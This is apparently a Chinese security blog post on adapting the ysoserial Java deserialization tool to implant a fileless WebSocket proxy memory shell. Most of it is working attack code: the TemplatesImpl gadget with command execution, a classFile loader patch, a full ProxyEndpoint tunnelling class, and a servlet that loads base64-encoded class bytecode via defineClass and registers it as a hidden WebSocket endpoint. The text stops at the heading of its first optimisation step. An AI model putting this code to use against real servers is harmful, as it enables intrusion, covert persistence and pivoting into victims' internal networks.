主题 Java
本文主要是围绕在java反序列化利用过程中,默认使用 ysoserial 带来的一些问题和局限性。通对代码的二次改造,最终能完成序列化数据的体积的减少和Websocket类型正向代理的无文件植入。
常用改造 ysoserial 任意类加载执行方式在使用ysoserial的时候,部分gadget最终的命令执行都是通过Gadgets.createTemplatesImpl实现的。
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.runtime.getRuntime().exec(\""
command.replace("\\", "\\\\").replace("\"", "\\\"")
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
在原始的Gadgets.createTemplatesImpl方法中,使用了javassist来构建templates的_bytecodes属性,在构建时设置了父类为AbstractTranslet,设置了static方法内容为Runtime命令执行。
由于单纯的命令执行还是非常局限,通常需要转换为代码执行。大家为了更方便的实现命令执行回显或中内存马,在ysoserial中新增了codefile、classfile等逻辑。
}else if(command.startsWith("classFile:")){
String path = command.split(":")[1];
FileInputStream in =new FileInputStream(new File(path));
classBytes=new byte[in.available()];
in.read(classBytes);
in.close();
在classfile逻辑中,不再需要麻烦的使用javassist来构建_bytecodes属性,而是直接传入class文件路径。在编写codefile时,第一步就需要继承AbstractTranslet类,然后在构造方法或者static代码块中编写利用代码。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisiterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class CMD extends AbstractTranslet {
public CMD() throws IOException {
Runtime.getRuntime().exec("open -a calculator.app");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
反序列后成功执行了代码,移除继承AbstractTranslet后。
import java.io.IOException;
public class CMD{
public CMD() throws IOException {
Runtime.getRuntime().exec("open -a calculator.app");
}
}
也产生了异常但是没有执行代码,虽然需要继承AbstractTranslet才能利用,但在之前的各种利用中都不会带来什么影响,所以一直没去研究过为什么要继承AbstractTranslet才能利用。但在利用最近出的WebSocket内存马技术时,因为要继承AbstractTranslet带来了一些不便。
反序列化植入 WebSocket Proxyhttps://github.com/veo/wsMemShell/tree/main/Tomcat_Spring_Jetty
作者提供了反序列化中wsCmd的代码,不过没有提供反序列中wsProxy的代码,自己就尝试去改了改。
作者提供了wsProxy.jsp,https://github.com/veo/wsMemShell/blob/main/Tomcat_Spring_Jetty/wsproxy.jsp 直接照着jsp改一份java版本。
刚开始就遇到了问题,以前中filter/listener内存马比较多,因为javax.Servlet.filter、servletRequestListener都是接口,那么可以继承AbstractTranslet同时实现这些接口,就不需要defineClass了,个人也不太喜欢defineClass(因为要改代码的时候略微麻烦)。
public class Tomcat_mbean_add_listener extends AbstractTranslet implements ServletRequestListener {
中websocket内存马的时候,变成了抽象类javax.xml.ws.Endpoint,由于java不允许实现多继承,继承了AbstractTranslet后,无法再继承Endpoint。
实在没办法,只能老老实实defineClass了,先将wsProxy.jsp中的ProxyEndpoint抽出来改为java。
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import javax.websocket.*;
import java.io.ByteArrayOutputStream;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
public class ProxyEndpoint extends Endpoint {
long i =0;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HashMap<String, AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();
static class Attach {
public AsynchronousSocketChannel client;
public Session channel;
}
void readFromServer(Session channel,AsynchronousSocketChannel client){
final ByteBuffer buffer = ByteBuffer.allocate(50000);
Attach attach = new Attach();
attach.client = client;
attach.channel = channel;
client.read(buffer, attach, new CompletionHandler<Integer, Attach>() {
@Override
public void completed(Integer result, final Attach scAttachment) {
buffer.clear();
try {
if(buffer.hasRemaining() && result>=0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
if (scAttachment.channel.isOpen()) {
scAttachment.channel.getBasicRemote().sendBinary(q);
}
baos = new ByteArrayOutputStream();
readFromServer(scAttachment.channel,scAttachment.client);
}else{
if(result > 0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
readFromServer(scAttachment.channel,scAttachment.client);
}
}
} catch (Exception ignored) {}
}
@Override
public void failed(Throwable t, Attach scAttachment) {t.printStackTrace();}
});
}
void process(ByteBuffer z,Session channel)
{
try{
if(i>1)
{
AsynchronousSocketChannel client = map.get(channel.getId());
client.write(z).get();
z.flip();
z.clear();
}
else if(i==1)
{
String values = new String(z.array());
String[] array = values.split(" ");
String[] addrarray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int po = Integer.parseInt(addrarray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch(Exception ignored){
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
map.put(channel.getId(), client);
readFromServer(channel,client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
}
}catch(Exception ignored){
}
}
@Override
public void onOpen(final session session, EndpointConfig config) {
i=0;
session.setMaxBinaryMessageBufferSize(1024*1024*20);
session.setMaxTextMessageBufferSize(1024*1024*20);
session.addMessageHandler(new MessageHandler.Whole<ByteBuffer>() {
@Override
public void onMessage(ByteBuffer message) {
try {
message.clear();
i ;
process(message,session);
} catch (Exception ignored) {
}
}
});
}
}
正常流程是将ProxyEndpoint编译为class后,再对class文件base64编码,但是在编译后会发现生成了多个class文件,ProxyEndpoint$Attach.class、ProxyEndpoint.class、ProxyEndpoint$2.class、ProxyEndpoint$1.class,这里因为ProxyEndpoint里面有多个内部类,导致生成了多个class文件。
这时候要defineClass就比较麻烦了,需要把这些内部类也一起defineClass,写了个servlet测试四个defineClass后,代理确实能够正常使用。
String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();
byte [] b = null;
try {
if (servletContext.getAttribute(path) == null){
Method m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
b = new BASE64decoder().decodeBuffer("yv66vgAAADQA3AoANgB1CQA1AHYHAHcKAAMAdQkANQB4BwB5CgAGAHUJADUAegMAAMNQCgB7AHwHAH0KAAsAdQkACwB CQALAH8HAIAKAA8AgQoAFACCCwCDAIQKAAYAhQcAhgoAFACHCwCIAIkKAHsAigoAewCLBwCMCgB7AI0KABkAjggAjwoAGQCQCACRCgAUAJIKAJMAlAcAlQoAIQCWCgAUAJcFAAAAAAAAAAoJAJgAmQsAiACaBwCbCwCDAJwIAJ0LAJ4AnwoABgCgCgA1AKEIAKIDAUAAAAsAgwCjCwCDAKQHAKUKADIApgsAgwCnBwCoBwCpAQAGQXR0YWNoAQAMSW5uZXJDbGFzc2VzAQABaQEAAUoBAARiYW9zAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAA21hcAEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAAlTaWduYXR1cmUBAFRMamF2YS91dGlsL0hhc2hNYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7PjsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAD0xQcm94eUVuZHBvaW50OwEADnJlYWRGcm9tU2VydmVyAQBJKExqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjtMamF2YS9uaW8vY2hhbm5lbHMvQXN5bmNocm9ub3VzU29ja2V0Q2hhbm5lbDspVgEAB2NoYW5uZWwBABlMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247AQAGY2xpZW50AQAtTGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7AQAGYnVmZmVyAQAVTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAGYXR0YWNoAQAWTFByb3h5RW5kcG9pbnQkQXR0YWNoOwEAB3Byb2Nlc3MBADEoTGphdmEvbmlvL0J5dGVCdWZmZXI7TGphdmF4L3dlYnNvY2tldC9TZXNzaW9uOylWAQAHaWdub3JlZAEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEABnZhbHVlcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABWFycmF5AQATW0xqYXZhL2xhbmcvU3RyaW5nOwEACWFkZHJhcnJheQEAAnBvAQABSQEAC2hvc3RBZGRyZXNzAQAcTGphdmEvbmV0L0luZXRTb2NrZXRBZGRyZXNzOwEABmZ1dHVyZQEAHUxqYXZhL3V0aWwvY29uY3VycmVudC9GdXR1cmU7AQABegEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAC9MamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlPExqYXZhL2xhbmcvVm9pZDs OwEADVN0YWNrTWFwVGFibGUHAKgHAKoHAKsHAIwHAFkHAIYHAJUHAKwHAJsBAAZvbk9wZW4BADwoTGphdmF4L3dlYnNvY2tldC9TZXNzaW9uO0xqYXZheC93ZWJzb2NrZXQvRW5kcG9pbnRDb25maWc7KVYBAAdzZXNzaW9uAQAGY29uZmlnAQAgTGphdmF4L3dlYnNvY2tldC9FbmRwb2ludENvbmZpZzsBAApTb3VyY2VGaWxlAQASUHJveHlFbmRwb2ludC5qYXZhDABBAEIMADkAOgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAA7ADwBABFqYXZhL3V0aWwvSGFzaE1hcAwAPQA BwCqDACtAK4BABRQcm94eUVuZHBvaW50JEF0dGFjaAwATABNDABKAEsBAA9Qcm94eUVuZHBvaW50JDEMAEEArwwAsACxBwCrDACyALMMALQAtQEAK2phdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWwMALYAtwcArAwAtAC4DAC5ALoMALsAugEAEGphdmEvbGFuZy9TdHJpbmcMAFgAvAwAQQC9AQABIAwAvgC/AQABOgwAwADBBwDCDADDAMQBABpqYXZhL25ldC9JbmV0U29ja2V0QWRkcmVzcwwAQQDFDADGAMcHAMgMAMkAygwAtADLAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAzADOAQAkSFRUUC8xLjEgNTAzIFNlcnZpY2UgVW5hdmFpbGFibGUNCg0KBwDQDADRANIMANMA1AwASABJAQAnSFRUUC8xLjEgMjAwIENvbm5lY3Rpb24gRXN0YWJsaXNoZWQNCg0KDADVANYMANcA1gEAD1Byb3h5RW5kcG9pbnQkMgwAQQDYDADZANoBAA1Qcm94eUVuZHBvaW50AQAYamF2YXgvd2Vic29ja2V0L0VuZHBvaW50AQATamF2YS9uaW8vQnl0ZUJ1ZmZlcgEAF2phdmF4L3dlYnNvY2tldC9TZXNzaW9uAQAbamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlAQAIYWxsb2NhdGUBABgoSSlMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBACcoTFByb3h5RW5kcG9pbnQ7TGphdmEvbmlvL0J5dGVCdWZmZXI7KVYBAARyZWFkAQBPKExqYXZhL25pby9CeXRlQnVmZmVyO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL25pby9jaGFubmVscy9Db21wbGV0aW9uSGFuZGxlcjspVgEABWdldElkAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABXdyaXRlAQA0KExqYXZhL25pby9CeXRlQnVmZmVyOylMamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlOwEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAEZmxpcAEAEygpTGphdmEvbmlvL0J1ZmZlcjsBAAVjbGVhcgEABCgpW0IBAAUoW0IpVgEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAEb3BlbgEALygpTGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7AQARamF2YS9sYW5nL0ludGVnZXIBAAhwYXJzZUludAEAFShMamF2YS9sYW5nL1N0cmluZzspSQEAFihMamF2YS9sYW5nL1N0cmluZztJKVYBAAdjb25uZWN0AQA3KExqYXZhL25ldC9Tb2NrZXRBZGRyZXNzOylMamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlOwEAHWphdmEvdXRpbC9jb25jdXJyZW50L1RpbWVVbml0AQAHU0VDT05EUwEAH0xqYXZhL3V0aWwvY29uY3VycmVudC9UaW1lVW5pdDsBADQoSkxqYXZhL3V0aWwvY29uY3VycmVudC9UaW1lVW5pdDspTGphdmEvbGFuZy9PYmplY3Q7AQAOZ2V0QmFzaWNSZW1vdGUBAAVCYXNpYwEAKCgpTGphdmF4L3dlYnNvY2tldC9SZW1vdGVFbmRwb2ludCRCYXNpYzsHANsBACRqYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQkQmFzaWMBAAhzZW5kVGV4dAEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAdc2V0TWF4QmluYXJ5TWVzc2FnZUJ1ZmZlclNpemUBAAQoSSlWAQAbc2V0TWF4VGV4dE1lc3NhZ2VCdWZmZXJTaXplAQArKExQcm94eUVuZHBvaW50O0xqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjspVgEAEWFkZE1lc3NhZ2VIYW5kbGVyAQAjKExqYXZheC93ZWJzb2NrZXQvTWVzc2FnZUhhbmRsZXI7KVYBAB5qYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQAIQA1ADYAAAADAAAAOQA6AAAAAAA7ADwAAAAAAD0APgABAD8AAAACAEAABAABAEEAQgABAEMAAABWAAMAAQAAACAqtwABKgm1AAIquwADWbcABLUABSq7AAZZtwAHtQAIsQAAAAIARAAAABIABAAAAA4ABAAPAAkAEAAUABEARQAAAAwAAQAAACAARgBHAAAAAABIAEkAAQBDAAAAkgAHAAUAAAAsEgm4AApOuwALWbcADDoEGQQstQANGQQrtQAOLC0ZBLsAD1kqLbcAELYAEbEAAAACAEQAAAAaAAYAAAAXAAYAGAAPABkAFQAaABsAGwArADkARQAAADQABQAAACwARgBHAAAAAAAsAEoASwABAAAALABMAE0AAgAGACYATgBPAAMADwAdAFAAUQAEAAAAUgBTAAEAQwAAAjEABAALAAAAyiq0AAIKlJ4ALCq0AAgsuQASAQC2ABPAABROLSu2ABW5ABYBAFcrtgAXVyu2ABhXpwCWKrQAAgqUmgCNuwAZWSu2ABq3ABtOLRIctgAdOgQZBAQyEh62AB06BbgAHzoGGQUEMrgAIDYHuwAhWRkFAzIVB7cAIjoIGQYZCLYAIzoJGQkUACSyACa5ACcEAFenABM6Ciy5ACkBABIquQArAgCxKrQACCy5ABIBABkGtgAsVyosGQa2AC0suQApAQASLrkAKwIApwAETrEAAwCAAI4AkQAoAAAAoADIACgAoQDFAMgAKAAEAEQAAABmABkAAAA9AAkAPwAaAEAAJQBBACoAQgAvAEMAMgBEADsARgBHAEcATwBIAFoASQBfAEoAaABLAHcATACAAE4AjgBSAJEATwCTAFAAoABRAKEAUwCxAFQAuABVAMUAWADIAFcAyQBZAEUAAAB6AAwAGgAVAEwATQADAJMADgBUAFUACgBHAH4AVgBXAAMATwB2AFgAWQAEAFoAawBaAFkABQBfAGYATABNAAYAaABdAFsAXAAHAHcATgBdAF4ACACAAEUAXwBgAAkAAADKAEYARwAAAAAAygBhAE8AAQAAAMoASgBLAAIAYgAAAAwAAQCAAEUAXwBjAAkAZAAAAD8ABjL/AF4ACgcAZQcAZgcAZwcAaAcAaQcAaQcAagEHAGsHAGwAAQcAbQ//ACMAAwcAZQcAZgcAZwAAQgcAbQAAAQBuAG8AAQBDAAAAcwAFAAMAAAAlKgm1AAIrEi 5ADACACsSL7kAMQIAK7sAMlkqK7cAM7kANAIAsQAAAAIARAAAABYABQAAAFwABQBdAA0AXgAVAF8AJABqAEUAAAAgAAMAAAAlAEYARwAAAAAAJQBwAEsAAQAAACUAcQByAAIAAgBzAAAAAgB0ADgAAAAiAAQACwA1ADcACAAyAAAAAAAAAA8AAAAAAAAAngDPAM0GCQ==");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
b = new BASE64Decoder().decodeBuffer("yv66vgAAADQAiAkAGgBFCQAaAEYKABsARwoASABJCgBIAEoKABgASwoASABMCQBDAE0KABAATgoAEABPCgBIAFAJABYAUQsAUgBTCwBSAFQLAFUAVgcAVwoAEABHCQAWAFgKAEMARAcAWQoAWgBbBwBcCgAaAF0HAF4KABoAXwcAYAcAYQcAYgEACnZhbCRidWZmZXIBABVMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBAAZ0aGlzJDABAA9MUHJveHlFbmRwb2ludDsBAAY8aW5pdD4BACcoTFByb3h5RW5kcG9pbnQ7TGphdmEvbmlvL0J5dGVCdWZmZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEADElubmVyQ2xhc3NlcwEAEUxQcm94eUVuZHBvaW50JDE7AQAJY29tcGxldGVkAQAGQXR0YWNoAQAsKExqYXZhL2xhbmcvSW50ZWdlcjtMUHJveHlFbmRwb2ludCRBdHRhY2g7KVYBAANhcnIBAAJbQgEAAWIBAAFxAQAGcmVzdWx0AQATTGphdmEvbGFuZy9JbnRlZ2VyOwEADHNjQXR0YWNobWVudAEAFkxQcm94eUVuZHBvaW50JEF0dGFjaDsBAA1TdGFja01hcFRhYmxlBwAtBwBjBwBZAQAGZmFpbGVkAQAuKExqYXZhL2xhbmcvVGhyb3dhYmxlO0xQcm94eUVuZHBvaW50JEF0dGFjaDspVgEAAXQBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBACooTGphdmEvbGFuZy9UaHJvd2FibGU7TGphdmEvbGFuZy9PYmplY3Q7KVYBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYBAAlTaWduYXR1cmUBAGJMamF2YS9sYW5nL09iamVjdDtMamF2YS9uaW8vY2hhbm5lbHMvQ29tcGxldGlvbkhhbmRsZXI8TGphdmEvbGFuZy9JbnRlZ2VyO0xQcm94eUVuZHBvaW50JEF0dGFjaDs OwEAClNvdXJjZUZpbGUBABJQcm94eUVuZHBvaW50LmphdmEBAA9FbmNsb3NpbmdNZXRob2QHAGQMAGUAZgwAHwAgDAAdAB4MACEAZwcAYwwAaABpDABqAGsMAGwAbQwAbgBvDABwAHEMAHIAcwwAdAB1DAB2AHcMAHgAeQcAegwAewBrDAB8AH4HAIAMAIEAggEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDACDAIQBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwCFDACGAGcBABRQcm94eUVuZHBvaW50JEF0dGFjaAwAOAA5AQARamF2YS9sYW5nL0ludGVnZXIMACkAKwEAD1Byb3h5RW5kcG9pbnQkMQEAEGphdmEvbGFuZy9PYmplY3QBACNqYXZhL25pby9jaGFubmVscy9Db21wbGV0aW9uSGFuZGxlcgEAE2phdmEvbmlvL0J5dGVCdWZmZXIBAA1Qcm94eUVuZHBvaW50AQAOcmVhZEZyb21TZXJ2ZXIBAEkoTGphdmF4L3dlYnNvY2tldC9TZXNzaW9uO0xqYXZhL25pby9jaGFubmVscy9Bc3luY2hyb25vdXNTb2NrZXRDaGFubmVsOylWAQADKClWAQAFY2xlYXIBABMoKUxqYXZhL25pby9CdWZmZXI7AQAMaGFzUmVtYWluaW5nAQADKClaAQAIaW50VmFsdWUBAAMoKUkBAANnZXQBABsoW0JJSSlMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBAARiYW9zAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEABXdyaXRlAQAHKFtCSUkpVgEAC3RvQnl0ZUFycmF5AQAEKClbQgEABHdyYXABABkoW0IpTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAHY2hhbm5lbAEAGUxqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjsBABdqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbgEABmlzT3BlbgEADmdldEJhc2ljUmVtb3RlAQAFQmFzaWMBACgoKUxqYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQkQmFzaWM7BwCHAQAkamF2YXgvd2Vic29ja2V0L1JlbW90ZUVuZHBvaW50JEJhc2ljAQAKc2VuZEJpbmFyeQEAGChMamF2YS9uaW8vQnl0ZUJ1ZmZlcjspVgEABmNsaWVudAEALUxqYXZhL25pby9jaGFubmVscy9Bc3luY2hyb25vdXNTb2NrZXRDaGFubmVsOwEAE2phdmEvbGFuZy9UaHJvd2FibGUBAA9wcmludFN0YWNrVHJhY2UBAB5qYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQAIAAaABsAAQAcAAIQEAAdAB4AABAQAB8AIAAAAAUAAAAhACIAAQAjAAAAQwACAAMAAAAPKiu1AAEqLLUAAiq3AAOxAAAAAgAkAAAABgABAAAAGwAlAAAAFgACAAAADwAmACgAAAAAAA8AHwAgAAEAAQApACsAAQAjAAABpAAEAAYAAADLKrQAArYABFcqtAACtgAFmQB7K7YABpsAdCu2AAa8CE4qtAACLQMrtgAGtgAHOgQqtAABtAAILQMrtgAGtgAJKrQAAbQACLYACrgACzoFLLQADLkADQEAmQATLLQADLkADgEAGQW5AA8CACq0AAG7ABBZtwARtQAIKrQAASy0AAwstAAStgATpwA/K7YABp4AOCu2AAa8CE4qtAACLQMrtgAGtgAHOgQqtAABtAAILQMrtgAGtgAJKrQAASy0AAwstAAStgATpwAETrEAAQAIAMYAyQAUAAMAJAAAAEoAEgAAAB4ACAAgABkAIgAgACMALwAkAD8AJQBOACYAWgAnAGoAKQB4ACoAhwArAIoALACRAC4AmAAvAKcAMAC3ADEAxgA0AMoANQAlAAAAUgAIACAAZwAsAC0AAwAvAFgALgAeAAQATgA5AC8AHgAFAJgALgAsAC0AAwCnAB8ALgAeAAQAAADLACYAKAAAAAAAywAwADEAAQAAAMsAMgAzAAIANAAAABcABf4AagcANQcANgcANvgAHztCBwA3AAABADgAOQABACMAAABDAAEAAwAAAAUrtgAVsQAAAAIAJAAAAAYAAQAAADcAJQAAACAAAwAAAAUAJgAoAAAAAAAFADoAOwABAAAABQAyADMAAhBBADgAPAABACMAAAA0AAMAAwAAAAoqKyzAABa2ABexAAAAAgAkAAAABgABAAAAGwAlAAAADAABAAAACgAmACgAABBBACkAPQABACMAAAA3AAMAAwAAAA0qK8AAGCzAABa2ABmxAAAAAgAkAAAABgABAAAAGwAlAAAADAABAAAADQAmACgAAAAEAD4AAAACAD8AQAAAAAIAQQBCAAAABABDAEQAJwAAABoAAwAaAAAAAAAAABYAQwAqAAgAVQB/AH0GCQ==");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
b = new BASE64Decoder().decodeBuffer("yv66vgAAADQAQAkACgAoCQAKACkKAAsAKgoACAArCQAmACwKACYALQcALgcALwoACgAwBwAxBwAyBwA0AQALdmFsJHNlc3Npb24BABlMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247AQAGdGhpcyQwAQAPTFByb3h5RW5kcG9pbnQ7AQAGPGluaXQ AQArKExQcm94eUVuZHBvaW50O0xqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAMSW5uZXJDbGFzc2VzAQARTFByb3h5RW5kcG9pbnQkMjsBAAlvbk1lc3NhZ2UBABgoTGphdmEvbmlvL0J5dGVCdWZmZXI7KVYBAAdtZXNzYWdlAQAVTGphdmEvbmlvL0J5dGVCdWZmZXI7AQANU3RhY2tNYXBUYWJsZQcALgEAFShMamF2YS9sYW5nL09iamVjdDspVgEACVNpZ25hdHVyZQEABVdob2xlAQBPTGphdmEvbGFuZy9PYmplY3Q7TGphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlciRXaG9sZTxMamF2YS9uaW8vQnl0ZUJ1ZmZlcjs OwEAClNvdXJjZUZpbGUBABJQcm94eUVuZHBvaW50LmphdmEBAA9FbmNsb3NpbmdNZXRob2QHADUMADYANwwADwAQDAANAA4MABEAOAwAOQA6DAA7ADwMAD0APgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABNqYXZhL25pby9CeXRlQnVmZmVyDAAZABoBAA9Qcm94eUVuZHBvaW50JDIBABBqYXZhL2xhbmcvT2JqZWN0BwA/AQAkamF2YXgvd2Vic29ja2V0L01lc3NhZ2VIYW5kbGVyJFdob2xlAQANUHJveHlFbmRwb2ludAEABm9uT3BlbgEAPChMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247TGphdmF4L3dlYnNvY2tldC9FbmRwb2ludENvbmZpZzspVgEAAygpVgEABWNsZWFyAQATKClMamF2YS9uaW8vQnVmZmVyOwEAAWkBAAFKAQAHcHJvY2VzcwEAMShMamF2YS9uaW8vQnl0ZUJ1ZmZlcjtMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247KVYBAB5qYXZheC93ZWJzb2NrZXQvTWVzc2FnZUhhbmRsZXIAIAAKAAsAAQAMAAIQEAANAA4AABAQAA8AEAAAAAMAAAARABIAAQATAAAAQwACAAMAAAAPKiu1AAEqLLUAAiq3AAOxAAAAAgAUAAAABgABAAAAXwAVAAAAFgACAAAADwAWABgAAAAAAA8ADwAQAAEAAQAZABoAAQATAAAAgAAFAAMAAAAjK7YABFcqtAABWbQABQphtQAFKrQAASsqtAACtgAGpwAETbEAAQAAAB4AIQAHAAMAFAAAABoABgAAAGMABQBkABIAZQAeAGcAIQBmACIAaAAVAAAAFgACAAAAIwAWABgAAAAAACMAGwAcAAEAHQAAAAcAAmEHAB4AEEEAGQAfAAEAEwAAADMAAgACAAAACSorwAAItgAJsQAAAAIAFAAAAAYAAQAAAF8AFQAAAAwAAQAAAAkAFgAYAAAABAAgAAAAAgAiACMAAAACACQAJQAAAAQAJgAnABcAAAASAAIACgAAAAAAAAAMADMAIQYJ");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
b = new BASE64Decoder().decodeBuffer("yv66vgAAADQAGAoAAwATBwAVBwAWAQAGY2xpZW50AQAtTGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7AQAHY2hhbm5lbAEAGUxqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkF0dGFjaAEADElubmVyQ2xhc3NlcwEAFkxQcm94eUVuZHBvaW50JEF0dGFjaDsBAApTb3VyY2VGaWxlAQASUHJveHlFbmRwb2ludC5qYXZhDAAIAAkHABcBABRQcm94eUVuZHBvaW50JEF0dGFjaAEAEGphdmEvbGFuZy9PYmplY3QBAA1Qcm94eUVuZHBvaW50ACAAAgADAAAAAgABAAQABQAAAAEABgAHAAAAAQAAAAgACQABAAoAAAAvAAEAAQAAAAUqtwABsQAAAAIACwAAAAYAAQAAABIADAAAAAwAAQAAAAUADQAQAAAAAgARAAAAAgASAA8AAAAKAAEAAgAUAA4ACA==");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(Thread.currentThread().getContextClassLoader().loadClass("ProxyEndpoint"), path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
}
} catch (Exception e){
}
虽然能用但是十分不优雅,为了解决这个问题,想了两个优化步骤:
1、去除所有内部类,一个defineClass实现利用
2、研究反序列化的codefile能否不继承AbstractTranslet使用,不需要defineClass实现利用
步骤1 单独类实现 Websocket 代理
